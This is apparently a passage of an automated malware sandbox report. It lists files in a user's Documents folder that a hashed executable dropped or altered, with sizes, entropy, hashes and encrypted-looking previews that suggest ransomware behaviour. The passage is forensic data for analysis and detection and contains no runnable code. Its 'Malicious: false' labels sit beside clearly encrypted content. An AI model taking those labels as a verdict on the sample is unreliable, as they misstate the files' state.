SHA-512:	78984A6E9CA3E3E394B6BEB9BCAE7E08A718D60EADD866E4538E7B1FDB3EA2F8F731EFB0354659639AA90F27C9FBEA38EEC66C02D1335DEBAFD13943F19A7852
Malicious:	false
Preview:	EOWRV..&..R..-.......js...+....M..O....sG.cj._....7.%.T..nf.a.?p....f.\x.=>..H.\.!jt1..0.H.C.]m................g.c...u9 ..+..Q...MM..e...{/.........2.....Y.fN.%...^.a....(..$4Pnv.%...~...?Y......)>:...m..Oy..W.:.1v...p.,/.M. d.D=.....X/.4..p..^P.vGH.t}..X.A/........3.,V.._]:."..s...]RU\.=Km\|..}... ...Nq.6x..=..t.x.]&..DsO..&.d.0-....n..{.3Hn.........`.r..JB=.Jo..8..s..IJ.c.\.R\|6Sg..A.,.3.....~.\|T...V)."#G.P..G~&]......%......#KGA....."./...y.D.....Sa.&...5..k].....P..._..cb=.\|R.W.....]...s..x._..'b..j.MR.].9.t...jh.).....'...[e.R..q....u..-..Gpw...52.%.9...3..0.#f.7..r...}....._.=...M.....w....u..].V~.....,.{................PT?.$...4...`.........T...2.....?....$...%.......,....#...Zn...\| ..A....6.8..z.D..,.j.Nq...y.7...j...h..&.U...ic1.?.D;......2...-..5..(h..V....B=...-..?.....`.e}x.2....;%E...{..x.1.Cl.b..0...o.{...h.u.Cy2..,.x.oL.wsOP...n.=<........t....^...%,.J.!o~.-C.......zR..*..j.H...,I..9......h. ...Q .8.d.....b.O..Iy..

C:\Users\user\Documents\EOWRVPQCCS.png.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.817702722408593
Encrypted:	false
SSDEEP:	24:W1h4lwyI//xImdhpSSW7HqYKnfY5uFFjYfa5N6nxa0jsedWM2ev+GjkbD:s/DpSX7KjfLhea5saReID
MD5:	662DAF38C108CBC39D854976A010E4DB
SHA1:	A1085C5A0D1AE6767DA4308BCB0F37C3DE8D984D
SHA-256:	F2A2A94177656CE2B5BCB6994DFC809877FF2C336512C05E68DA345932DA96C1
SHA-512:	78984A6E9CA3E3E394B6BEB9BCAE7E08A718D60EADD866E4538E7B1FDB3EA2F8F731EFB0354659639AA90F27C9FBEA38EEC66C02D1335DEBAFD13943F19A7852
Malicious:	false
Preview:	EOWRV..&..R..-.......js...+....M..O....sG.cj._....7.%.T..nf.a.?p....f.\x.=>..H.\.!jt1..0.H.C.]m................g.c...u9 ..+..Q...MM..e...{/.........2.....Y.fN.%...^.a....(..$4Pnv.%...~...?Y......)>:...m..Oy..W.:.1v...p.,/.M. d.D=.....X/.4..p..^P.vGH.t}..X.A/........3.,V.._]:."..s...]RU\.=Km\|..}... ...Nq.6x..=..t.x.]&..DsO..&.d.0-....n..{.3Hn.........`.r..JB=.Jo..8..s..IJ.c.\.R\|6Sg..A.,.3.....~.\|T...V)."#G.P..G~&]......%......#KGA....."./...y.D.....Sa.&...5..k].....P..._..cb=.\|R.W.....]...s..x._..'b..j.MR.].9.t...jh.).....'...[e.R..q....u..-..Gpw...52.%.9...3..0.#f.7..r...}....._.=...M.....w....u..].V~.....,.{................PT?.$...4...`.........T...2.....?....$...%.......,....#...Zn...\| ..A....6.8..z.D..,.j.Nq...y.7...j...h..&.U...ic1.?.D;......2...-..5..(h..V....B=...-..?.....`.e}x.2....;%E...{..x.1.Cl.b..0...o.{...h.u.Cy2..,.x.oL.wsOP...n.=<........t....^...%,.J.!o~.-C.......zR..*..j.H...,I..9......h. ...Q .8.d.....b.O..Iy..

C:\Users\user\Documents\GRXZDKKVDB.mp3

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.827346669506206
Encrypted:	false
SSDEEP:	24:/cHHaAsd+CPNSxSav3pWDDismqv33xw0rWghuniJqGSpUOrUPa6su2yT7sdRxQUf:/mkRIoY5QDiZqv33xfHEcyKhsun7mBFR
MD5:	34957AC339A8CFDF63D62C5B5B5FAA3E
SHA1:	2955EDF7C89DC00B466B1D5860F544F3117A4B8A
SHA-256:	9CEC9432D397A6641241B66190C0214292DC2F0B990DD8774B6BB9600C49E957
SHA-512:	A9C2CCA8F6109D9790D18AF10E32ADD5CEF711D2CD24DCE45FA0F2708879A3676B10CC0EF9FFA4F5F06674CD776DD983DC0FDA1DE9962023684ECD31BA4E36D0
Malicious:	false
Preview:	GRXZD.....w.e....M...E.(2.B...{..@.6?j-.6.KW....;9..:......L..H)6....UP..D.pT..N...w.p.}r29.R.I/......!0$....u&L..D:1.n..C..X..o.-...J`.1.......[D.I.7....S...V#...p.....9..L].k......3.cv..w.?.!9t..T;......ohj.y%....I.R].F1..b....v[......^m&.....9Q'......VQ9RqN.C.=y....C.JL.:...KU..}o..Y..Q......Bv.'1i.."..D1....Q..5..6.8~(. ...h.O....7..$[y...o..s.?.p......K./.8.E0M..h...p..B._..V._.$S.....,l...../!dE!C..Rx.s...}.UIiVBT......"...1.+./..t7hn..<.=....=..."%iQHf,....g.........Xi.G$............pg...q.......h./...<.....m....U'=.3..n#.[.......4.T..KC.>{.O....4..![.h..}F`.. d....V[e..3>U..A...v.K.H.j,.........2..<Ap...zvc....VA...l..m.........6...j.<.u..tp..;S\p..p..^...y.za.".....n7......6.....,....N`.....O.G.@.9._.9 -..h...kZ...!..............nW...D.V. T....=}R..e./L..N..`h....1S.a......s.l..sz.$.t.....C<,..D.}.{...B...i@.E!..y.7!u.b.5.M.....O.2.G..y........,9...6.....9..!M7.bD.?uh.m..S.z./-..P!.xO..b.L.4/:..Q.U..B....j3?..PZ.\|......&...n.......

C:\Users\user\Documents\GRXZDKKVDB.mp3.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.827346669506206
Encrypted:	false
SSDEEP:	24:/cHHaAsd+CPNSxSav3pWDDismqv33xw0rWghuniJqGSpUOrUPa6su2yT7sdRxQUf:/mkRIoY5QDiZqv33xfHEcyKhsun7mBFR
MD5:	34957AC339A8CFDF63D62C5B5B5FAA3E
SHA1:	2955EDF7C89DC00B466B1D5860F544F3117A4B8A
SHA-256:	9CEC9432D397A6641241B66190C0214292DC2F0B990DD8774B6BB9600C49E957
SHA-512:	A9C2CCA8F6109D9790D18AF10E32ADD5CEF711D2CD24DCE45FA0F2708879A3676B10CC0EF9FFA4F5F06674CD776DD983DC0FDA1DE9962023684ECD31BA4E36D0
Malicious:	false
Preview:	GRXZD.....w.e....M...E.(2.B...{..@.6?j-.6.KW....;9..:......L..H)6....UP..D.pT..N...w.p.}r29.R.I/......!0$....u&L..D:1.n..C..X..o.-...J`.1.......[D.I.7....S...V#...p.....9..L].k......3.cv..w.?.!9t..T;......ohj.y%....I.R].F1..b....v[......^m&.....9Q'......VQ9RqN.C.=y....C.JL.:...KU..}o..Y..Q......Bv.'1i.."..D1....Q..5..6.8~(. ...h.O....7..$[y...o..s.?.p......K./.8.E0M..h...p..B._..V._.$S.....,l...../!dE!C..Rx.s...}.UIiVBT......"...1.+./..t7hn..<.=....=..."%iQHf,....g.........Xi.G$............pg...q.......h./...<.....m....U'=.3..n#.[.......4.T..KC.>{.O....4..![.h..}F`.. d....V[e..3>U..A...v.K.H.j,.........2..<Ap...zvc....VA...l..m.........6...j.<.u..tp..;S\p..p..^...y.za.".....n7......6.....,....N`.....O.G.@.9._.9 -..h...kZ...!..............nW...D.V. T....=}R..e./L..N..`h....1S.a......s.l..sz.$.t.....C<,..D.}.{...B...i@.E!..y.7!u.b.5.M.....O.2.G..y........,9...6.....9..!M7.bD.?uh.m..S.z./-..P!.xO..b.L.4/:..Q.U..B....j3?..PZ.\|......&...n.......

C:\Users\user\Documents\GRXZDKKVDB.pdf

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845772262644266
Encrypted:	false
SSDEEP:	24:FYL4FUiOaASn5H5X8FnlLWXYkaZgytghNXSkMUI6I4SqR1j/A9CojkbD:FY0FU7aA+JyLQZzXXIUIQSEj/ZdD
MD5:	77AAF041D483BDE7AAC1732C8873C7DA
SHA1:	9521134693C9125AAE98114519108EF45AD97B93
SHA-256:	5786AD32960D72BE44F2174ABB7CA742AE6A11D002C2A2C26BF72F3A32B16522
SHA-512:	B676C1707D304190A3648C22ED6DAA09961685DE9440D1E81F0F210052A2196C6DBEC8E850AA4FF506645DBF571DC73145836C80AD060D54E1B0FBB16968BBBC
Malicious:	false
Preview:	GRXZD..E.......8`.....<)..(.!..P-V9U.T..7........t:.........z.W......<..H.y~...s...c.F..... ...Fxo.. ..b.5U.vx&9..q.$..+.K.1. ,8....mb2s?.kQg.Q....z....o5r.WuwA...PI."..\e.6.Yn..PJ.2H ....j.Q.....d.R..-......U\..L.s..F...'.....0..;<7....dK..bJ.z...-$....................%.xIT...^:..$.f..y....+i..kt..g.%..]/..>1{.."..""e.<..`.\|u..D..<6#.1...8...}..u44~.I.7..j5.L....._..`......r......bh..8q..[.?....s......0...s..........s?..D...xj.d....<\r.A.\|.....W...g..<o..~.......&....(..g.B..Oe.C.....U..@U.Vgh...&.p.. ..HK.o$.WsR../2..u../.~...O.U.z..'...._#b+..b.....Z.gUB.s.$.......\.{d.J.......)3Y..1..-..kj.ZP..s....CU....]....4.....,..d%}.$J...5`.X..qU.v..v.G.s.+gl.<. T0..[2....~[.FA.F>...).CP. {...p..X..o:.{...g.\|.i......X.....^.....m^?A.....'i.......;.'."..T1.........aP.....n.7y+p..z.K..L.ly.@.eJA.."N....!a.z..\\..0.Bfhz....ssx.-.[.~......fQ.g.C...-h.C^E.M..N...>..1f..`..y..."...~0.(..M......dyx.4{.M.il=..V...E..(#......li...#...\|.K...xA..

C:\Users\user\Documents\GRXZDKKVDB.pdf.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845772262644266
Encrypted:	false
SSDEEP:	24:FYL4FUiOaASn5H5X8FnlLWXYkaZgytghNXSkMUI6I4SqR1j/A9CojkbD:FY0FU7aA+JyLQZzXXIUIQSEj/ZdD
MD5:	77AAF041D483BDE7AAC1732C8873C7DA
SHA1:	9521134693C9125AAE98114519108EF45AD97B93
SHA-256:	5786AD32960D72BE44F2174ABB7CA742AE6A11D002C2A2C26BF72F3A32B16522
SHA-512:	B676C1707D304190A3648C22ED6DAA09961685DE9440D1E81F0F210052A2196C6DBEC8E850AA4FF506645DBF571DC73145836C80AD060D54E1B0FBB16968BBBC
Malicious:	false
Preview:	GRXZD..E.......8`.....<)..(.!..P-V9U.T..7........t:.........z.W......<..H.y~...s...c.F..... ...Fxo.. ..b.5U.vx&9..q.$..+.K.1. ,8....mb2s?.kQg.Q....z....o5r.WuwA...PI."..\e.6.Yn..PJ.2H ....j.Q.....d.R..-......U\..L.s..F...'.....0..;<7....dK..bJ.z...-$....................%.xIT...^:..$.f..y....+i..kt..g.%..]/..>1{.."..""e.<..`.\|u..D..<6#.1...8...}..u44~.I.7..j5.L....._..`......r......bh..8q..[.?....s......0...s..........s?..D...xj.d....<\r.A.\|.....W...g..<o..~.......&....(..g.B..Oe.C.....U..@U.Vgh...&.p.. ..HK.o$.WsR../2..u../.~...O.U.z..'...._#b+..b.....Z.gUB.s.$.......\.{d.J.......)3Y..1..-..kj.ZP..s....CU....]....4.....,..d%}.$J...5`.X..qU.v..v.G.s.+gl.<. T0..[2....~[.FA.F>...).CP. {...p..X..o:.{...g.\|.i......X.....^.....m^?A.....'i.......;.'."..T1.........aP.....n.7y+p..z.K..L.ly.@.eJA.."N....!a.z..\\..0.Bfhz....ssx.-.[.~......fQ.g.C...-h.C^E.M..N...>..1f..`..y..."...~0.(..M......dyx.4{.M.il=..V...E..(#......li...#...\|.K...xA..

C:\Users\user\Documents\GRXZDKKVDB.xlsx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.834144626269078
Encrypted:	false
SSDEEP:	24:fmPKR+KEN+HQ89HLvtDXSxO7fv9uZ3k3VS7HH4m/4uCg3dRW3Kpsfz2N7zPbPjkX:f0K5Ecuxsf0mFsP47gO0/+D
MD5:	70183F92C63BE9E77C284A2F1A0CF6C9
SHA1:	2DCE9AF9EBA33AFD7AF88EBCC604C18BC734EC2C
SHA-256:	CF8516A2A0EE45186F1F4F28B3C7D038831AD0164472398BCCD087CD2138A079
SHA-512:	A5F7E7CE1EDB5FA3C194491E676D96B31F7BCA21F0DE6D3D414C91CDA3889DF87B0C53EEE4F6A2BA67F3EC0A35F9EF7003611D8BDA1EDAE15C2E29D1B5685C2E
Malicious:	false
Preview:	GRXZD....e...6W.. D.....P0.i.........)....Y.2.)..$.73.j.....1.....?.^~ .....]......v.!.x...o...........'...M.(...KD4....V.@...?.G.{.:'.....D....`..y3.?`...!...g.#.y....pMLUjv.)._\|...{...Co..B......81.V.H5...]......!Ua....]p.+F.......2.Kr.)xL..'.,...wM.=....a..7.1.~..2\^9....p. ..{....U..!...uj.#.z...j',...Y.tt`Q2^..l.^a.... .2...$..m1.5.....:.ir<..1O!.u..S(.Z....P.1<..].....KE...F........1.5.>......S.kp.8E"..."...T.....`.Hl."..%......m=...d.Q..}...M"......H..d....Z.k..%....#.ed9.....f....ktA.T4..D..L.....l...yI.sm...........[]t^..T.(..Cek.p.db.9R..a...4j.........3+....Q...C......1.b.oTB.^..e.P...]....-Y..+r..EX..X...XZ... .0t.s.v.........].Sc.y.,Z.&K..Y..y.Um......*.){"...58C...;.)..... .......<...exyy^.}6XS...T-ee.....tzg:gOy..O?..4[.IT'...'.[...7'.;...E..G.e..Ko...3..?.r..D..A...\.K.>....z.......=..1.^..z.!...'i..o ..M......tn.Z.....~.....~S..o3.W..>.u..x%f....Q..>..d.d.~...3..w\.....9c3s.;.v..Xu,.cDM....R.y\W.Y..D..Wj.Sf.3.:!.p.`.

C:\Users\user\Documents\GRXZDKKVDB.xlsx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.834144626269078
Encrypted:	false
SSDEEP:	24:fmPKR+KEN+HQ89HLvtDXSxO7fv9uZ3k3VS7HH4m/4uCg3dRW3Kpsfz2N7zPbPjkX:f0K5Ecuxsf0mFsP47gO0/+D
MD5:	70183F92C63BE9E77C284A2F1A0CF6C9
SHA1:	2DCE9AF9EBA33AFD7AF88EBCC604C18BC734EC2C
SHA-256:	CF8516A2A0EE45186F1F4F28B3C7D038831AD0164472398BCCD087CD2138A079
SHA-512:	A5F7E7CE1EDB5FA3C194491E676D96B31F7BCA21F0DE6D3D414C91CDA3889DF87B0C53EEE4F6A2BA67F3EC0A35F9EF7003611D8BDA1EDAE15C2E29D1B5685C2E
Malicious:	false
Preview:	GRXZD....e...6W.. D.....P0.i.........)....Y.2.)..$.73.j.....1.....?.^~ .....]......v.!.x...o...........'...M.(...KD4....V.@...?.G.{.:'.....D....`..y3.?`...!...g.#.y....pMLUjv.)._\|...{...Co..B......81.V.H5...]......!Ua....]p.+F.......2.Kr.)xL..'.,...wM.=....a..7.1.~..2\^9....p. ..{....U..!...uj.#.z...j',...Y.tt`Q2^..l.^a.... .2...$..m1.5.....:.ir<..1O!.u..S(.Z....P.1<..].....KE...F........1.5.>......S.kp.8E"..."...T.....`.Hl."..%......m=...d.Q..}...M"......H..d....Z.k..%....#.ed9.....f....ktA.T4..D..L.....l...yI.sm...........[]t^..T.(..Cek.p.db.9R..a...4j.........3+....Q...C......1.b.oTB.^..e.P...]....-Y..+r..EX..X...XZ... .0t.s.v.........].Sc.y.,Z.&K..Y..y.Um......*.){"...58C...;.)..... .......<...exyy^.}6XS...T-ee.....tzg:gOy..O?..4[.IT'...'.[...7'.;...E..G.e..Ko...3..?.r..D..A...\.K.>....z.......=..1.^..z.!...'i..o ..M......tn.Z.....~.....~S..o3.W..>.u..x%f....Q..>..d.d.~...3..w\.....9c3s.;.v..Xu,.cDM....R.y\W.Y..D..Wj.Sf.3.:!.p.`.

C:\Users\user\Documents\KLIZUSIQEN.png

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.839641577186051
Encrypted:	false
SSDEEP:	24:bbH9ChrsXJ0v91xs9+r4hlN/x4wF6+mnpn/8EJUQn5+LxV40RnEe/2EE64kbD:HHgTxuucb/X6rnhnUQnQLL0EE2D
MD5:	F4F3A8A64A76176AB686919331E51DC5
SHA1:	28142B9B51884A142CA1F65D32107A90599889FF
SHA-256:	53CD38CFB7B2F841E8B2CB9958F920512DB83325B63895EE0DA43354FB953266
SHA-512:	F3274BFF0FCFDCD9B1050786D99E32871192D57FEDA5EF925F24FDE6FD324593E22A3F78055A5B459E65CB545183B41A6A56793507B42EEFF075ABCE4B929AA7
Malicious:	false
Preview:	KLIZUx.......9.\|..../.......#...-Y...+.}..'#.........p..ZGX.\|C..5..z.Q.<\|s.......5..5.P..../i...<V..iu..5.5..^M...U....\S..\_.;..k.<p..bN#.rz.........L.J+..9q......LGP\.....i.I0.wq.y..."..u..0.r.i...:...c...)........:.......j.$.Y.......E..^.\|2B..[..8.eX.zy...T..H\|.."JZ8.......$..1.6NcL.........E.dsl.}r...F..&s-J.....$......z.P..."j..8..........z..s?^.......P...lN7..:}........X.:!..w[.......e.....P...H.J.W....~r..I.z<.t........f"w?(.%.j.u.\..]..V.I.lQ.... ..i....5i4.+..mh`...I.U...$f......Cu.e..Y.<..~.A_.8,.:O...\m..)...).3....W.[<.......w......6.)..&AJq.A.T._.d.1..e.b...\|7.2l..x2=..7.... &M.G...W... ....._..23........W..F..T.;....R..y.E.....y....o1.Q...D..>}.K..0...,..FGe..4+.Xr...s...j.....;..\....d..g.S...\|......c.b...{..6.]d...G4h....D..J..:.0'OIU.@.F.r.;...?.0g6-}......dhZ.....A..{..\|......`II..?^....P.''2..d./Vw..,'t.=.g....f.Z.... .&.....'OS.#.;/....n..$.:....L....^.... ..}....0.m^W.{hvX.g.".....,....,...4..p..X...4Ey...i.

C:\Users\user\Documents\KLIZUSIQEN.png.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.839641577186051
Encrypted:	false
SSDEEP:	24:bbH9ChrsXJ0v91xs9+r4hlN/x4wF6+mnpn/8EJUQn5+LxV40RnEe/2EE64kbD:HHgTxuucb/X6rnhnUQnQLL0EE2D
MD5:	F4F3A8A64A76176AB686919331E51DC5
SHA1:	28142B9B51884A142CA1F65D32107A90599889FF
SHA-256:	53CD38CFB7B2F841E8B2CB9958F920512DB83325B63895EE0DA43354FB953266
SHA-512:	F3274BFF0FCFDCD9B1050786D99E32871192D57FEDA5EF925F24FDE6FD324593E22A3F78055A5B459E65CB545183B41A6A56793507B42EEFF075ABCE4B929AA7
Malicious:	false
Preview:	KLIZUx.......9.\|..../.......#...-Y...+.}..'#.........p..ZGX.\|C..5..z.Q.<\|s.......5..5.P..../i...<V..iu..5.5..^M...U....\S..\_.;..k.<p..bN#.rz.........L.J+..9q......LGP\.....i.I0.wq.y..."..u..0.r.i...:...c...)........:.......j.$.Y.......E..^.\|2B..[..8.eX.zy...T..H\|.."JZ8.......$..1.6NcL.........E.dsl.}r...F..&s-J.....$......z.P..."j..8..........z..s?^.......P...lN7..:}........X.:!..w[.......e.....P...H.J.W....~r..I.z<.t........f"w?(.%.j.u.\..]..V.I.lQ.... ..i....5i4.+..mh`...I.U...$f......Cu.e..Y.<..~.A_.8,.:O...\m..)...).3....W.[<.......w......6.)..&AJq.A.T._.d.1..e.b...\|7.2l..x2=..7.... &M.G...W... ....._..23........W..F..T.;....R..y.E.....y....o1.Q...D..>}.K..0...,..FGe..4+.Xr...s...j.....;..\....d..g.S...\|......c.b...{..6.]d...G4h....D..J..:.0'OIU.@.F.r.;...?.0g6-}......dhZ.....A..{..\|......`II..?^....P.''2..d./Vw..,'t.=.g....f.Z.... .&.....'OS.#.;/....n..$.:....L....^.... ..}....0.m^W.{hvX.g.".....,....,...4..p..X...4Ey...i.

C:\Users\user\Documents\NVWZAPQSQL.docx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848615459586377
Encrypted:	false
SSDEEP:	24:FLfciryCWSIjpXvOYUESWUXCLnj+xZHttsDEgPFej/9Ddnih5kbD:FzcrRpUES1XCLnjs1+PFS/1NiiD
MD5:	469EC075BDBD5139D3C8293D8C54F096
SHA1:	7BB0E055EB2996AD0469CF0C299D95F7876DE8F5
SHA-256:	1EDF0D9C62422E939EB4DED8E2302601B9215AFFC8325464B24B811295D17A71
SHA-512:	D9F2A5AF0767460AEC0236D09D34C14963478D2F0CBB6AD724EB5EDE1D9C363C2D7AC8F780B0797C05700566A8B431C390322CA1D93C7ECE981F7182666D45A6
Malicious:	false
Preview:	NVWZA3...w....QpoU.....%.ZL4.H..7..6.Zl...4e.c...E...a.S&w.....9..........cd.Z.5.c.P7....\|.K.G..t.4..D.$. Xe.2J.......+.w..f..P/1.^..Vq....?..[./.n.B&I:.......!......Zh9ff....... 8.e=.\|l....~e...3..a.q.{.LF0}.~.\..&....dcX.B9..U.....]..(...n.\.CD.z.......x....C...S............k....-UU....Ku..W.D#pp .I\...}..~.d.oP.=.j..xD6:2...?.`...X.lV.!..g..8.YE.sw{K#4G'T.j.....IB.LH'...T..lkp.yW....@G).....;M....lB5{.3D....c..[.T..P.^1..@2.S....&D^c.Z...~s....p...M........[7.o.........[.,X..O.}.d..#r.....[....`~...............#.3.-yKlplLPQ...7w.G\>.D9?d....R...3.&.&....bP..tU......0......P.,.....F... F.....;...Z~>..<..g..........e.q........`.Zg......B...X7C...M[...b._..9\ ..Y..C...\.?q...'..............\|....@.~..m.:t....Y.....$t...Vw.../...q..W....I...n.0.8.......v.{/\..+&B\|....,.......rXgP,../..`.*....d....C........-..,.. ........6R.+_l.F_a.%v. OIa.E....Ve.L")......"..+\|.y./l!M......8.....'..&.@.....%.,g.@1..).D.=.L..tv....4.......:.?M.....yYW"

C:\Users\user\Documents\NVWZAPQSQL.docx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848615459586377
Encrypted:	false
SSDEEP:	24:FLfciryCWSIjpXvOYUESWUXCLnj+xZHttsDEgPFej/9Ddnih5kbD:FzcrRpUES1XCLnjs1+PFS/1NiiD
MD5:	469EC075BDBD5139D3C8293D8C54F096
SHA1:	7BB0E055EB2996AD0469CF0C299D95F7876DE8F5
SHA-256:	1EDF0D9C62422E939EB4DED8E2302601B9215AFFC8325464B24B811295D17A71
SHA-512:	D9F2A5AF0767460AEC0236D09D34C14963478D2F0CBB6AD724EB5EDE1D9C363C2D7AC8F780B0797C05700566A8B431C390322CA1D93C7ECE981F7182666D45A6
Malicious:	false
Preview:	NVWZA3...w....QpoU.....%.ZL4.H..7..6.Zl...4e.c...E...a.S&w.....9..........cd.Z.5.c.P7....\|.K.G..t.4..D.$. Xe.2J.......+.w..f..P/1.^..Vq....?..[./.n.B&I:.......!......Zh9ff....... 8.e=.\|l....~e...3..a.q.{.LF0}.~.\..&....dcX.B9..U.....]..(...n.\.CD.z.......x....C...S............k....-UU....Ku..W.D#pp .I\...}..~.d.oP.=.j..xD6:2...?.`...X.lV.!..g..8.YE.sw{K#4G'T.j.....IB.LH'...T..lkp.yW....@G).....;M....lB5{.3D....c..[.T..P.^1..@2.S....&D^c.Z...~s....p...M........[7.o.........[.,X..O.}.d..#r.....[....`~...............#.3.-yKlplLPQ...7w.G\>.D9?d....R...3.&.&....bP..tU......0......P.,.....F... F.....;...Z~>..<..g..........e.q........`.Zg......B...X7C...M[...b._..9\ ..Y..C...\.?q...'..............\|....@.~..m.:t....Y.....$t...Vw.../...q..W....I...n.0.8.......v.{/\..+&B\|....,.......rXgP,../..`.*....d....C........-..,.. ........6R.+_l.F_a.%v. OIa.E....Ve.L")......"..+\|.y./l!M......8.....'..&.@.....%.,g.@1..).D.=.L..tv....4.......:.?M.....yYW"

C:\Users\user\Documents\NVWZAPQSQL.jpg

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.864282660319503
Encrypted:	false
SSDEEP:	24:FatnNtl1/7GreWZquGF5/jRWYgTEWItJ9iO53iTq31o+kBeh3ZDkbD:FatXTDWqpr/jET8jAOJJ31oYpSD
MD5:	849F8CE1E7137261B6EC71E51BB5D6EA
SHA1:	ECD94F7C93A2CD8C59386C0C786754428348A9A6
SHA-256:	E430AD3FED03E4E4513F2258D4A8244B0719916C455D7BDDA24BAE140FEB41DB
SHA-512:	07B0EEFE62DA3FF3B41C6E943DB37C405D8B39422CEB175E3A4D5B811C5D9C4DA1ABA1A5E6C7464C179AAEF99FA61B226552A12F5DABEDD943A5DD5B7FD86489
Malicious:	false
Preview:	NVWZAo...+.&.V.,L...b.4......+...b,<.......b..'(s...J...g.d....K/P\.v..._J......\F.U. .<k..;.....E.#.J..tN...1..#...A....O.V...^......Z....xP....Qa+..K.c.GZBs...>.B].....#.p....M.......9.\v....G..g.....&..U5.2V...{..4YT.....S#..s.c..o.....Q.2..}g~m.....9o.....{b]....v3/qs..N.t&..J...K...b..\.:7r:o..;NW.e..5..G'N..I.....)..,.:..P.L5...Nb..%)6...'.....W?=.?.2....q.....H0>......+..{^...d"{.....dG.....I`.!]&.zLL.....v!...}K.k[..B,.+.G7.../\|..k6.!...t.7..5.....Xj..qZ.UQ..`..I..\|.p1..xJ....L..u2.S..../d.!!.$.k4..........8)........#.#.0.w.;z......i%.Lt"b);..y....W.&...+..6.=...FU{.........]............w,........Ld\...B.:S.NY....T..mj]."mI.......6...._......Ea.......lX.7...O....5........?.X.[p&....o.K7X....;n$.<R...#.W....%.p.;.c.Y....n....x..RE..h...kS..6..=.p`....g..)..[.d.qM.;...JT.C.....+...\..S.....L..T.oz..T.5M...Xn..2hJ.".x..QV...."./.......9s...#....py.d...^...:-q......&.....{.v..E.<WR.O...z..L..>..e..&F..3>3.S.P.!.OUdHDm..cO...^W<......

C:\Users\user\Documents\NVWZAPQSQL.jpg.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.864282660319503
Encrypted:	false
SSDEEP:	24:FatnNtl1/7GreWZquGF5/jRWYgTEWItJ9iO53iTq31o+kBeh3ZDkbD:FatXTDWqpr/jET8jAOJJ31oYpSD
MD5:	849F8CE1E7137261B6EC71E51BB5D6EA
SHA1:	ECD94F7C93A2CD8C59386C0C786754428348A9A6
SHA-256:	E430AD3FED03E4E4513F2258D4A8244B0719916C455D7BDDA24BAE140FEB41DB
SHA-512:	07B0EEFE62DA3FF3B41C6E943DB37C405D8B39422CEB175E3A4D5B811C5D9C4DA1ABA1A5E6C7464C179AAEF99FA61B226552A12F5DABEDD943A5DD5B7FD86489
Malicious:	false
Preview:	NVWZAo...+.&.V.,L...b.4......+...b,<.......b..'(s...J...g.d....K/P\.v..._J......\F.U. .<k..;.....E.#.J..tN...1..#...A....O.V...^......Z....xP....Qa+..K.c.GZBs...>.B].....#.p....M.......9.\v....G..g.....&..U5.2V...{..4YT.....S#..s.c..o.....Q.2..}g~m.....9o.....{b]....v3/qs..N.t&..J...K...b..\.:7r:o..;NW.e..5..G'N..I.....)..,.:..P.L5...Nb..%)6...'.....W?=.?.2....q.....H0>......+..{^...d"{.....dG.....I`.!]&.zLL.....v!...}K.k[..B,.+.G7.../\|..k6.!...t.7..5.....Xj..qZ.UQ..`..I..\|.p1..xJ....L..u2.S..../d.!!.$.k4..........8)........#.#.0.w.;z......i%.Lt"b);..y....W.&...+..6.=...FU{.........]............w,........Ld\...B.:S.NY....T..mj]."mI.......6...._......Ea.......lX.7...O....5........?.X.[p&....o.K7X....;n$.<R...#.W....%.p.;.c.Y....n....x..RE..h...kS..6..=.p`....g..)..[.d.qM.;...JT.C.....+...\..S.....L..T.oz..T.5M...Xn..2hJ.".x..QV...."./.......9s...#....py.d...^...:-q......&.....{.v..E.<WR.O...z..L..>..e..&F..3>3.S.P.!.OUdHDm..cO...^W<......

C:\Users\user\Documents\NVWZAPQSQL.xlsx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8585814525678686
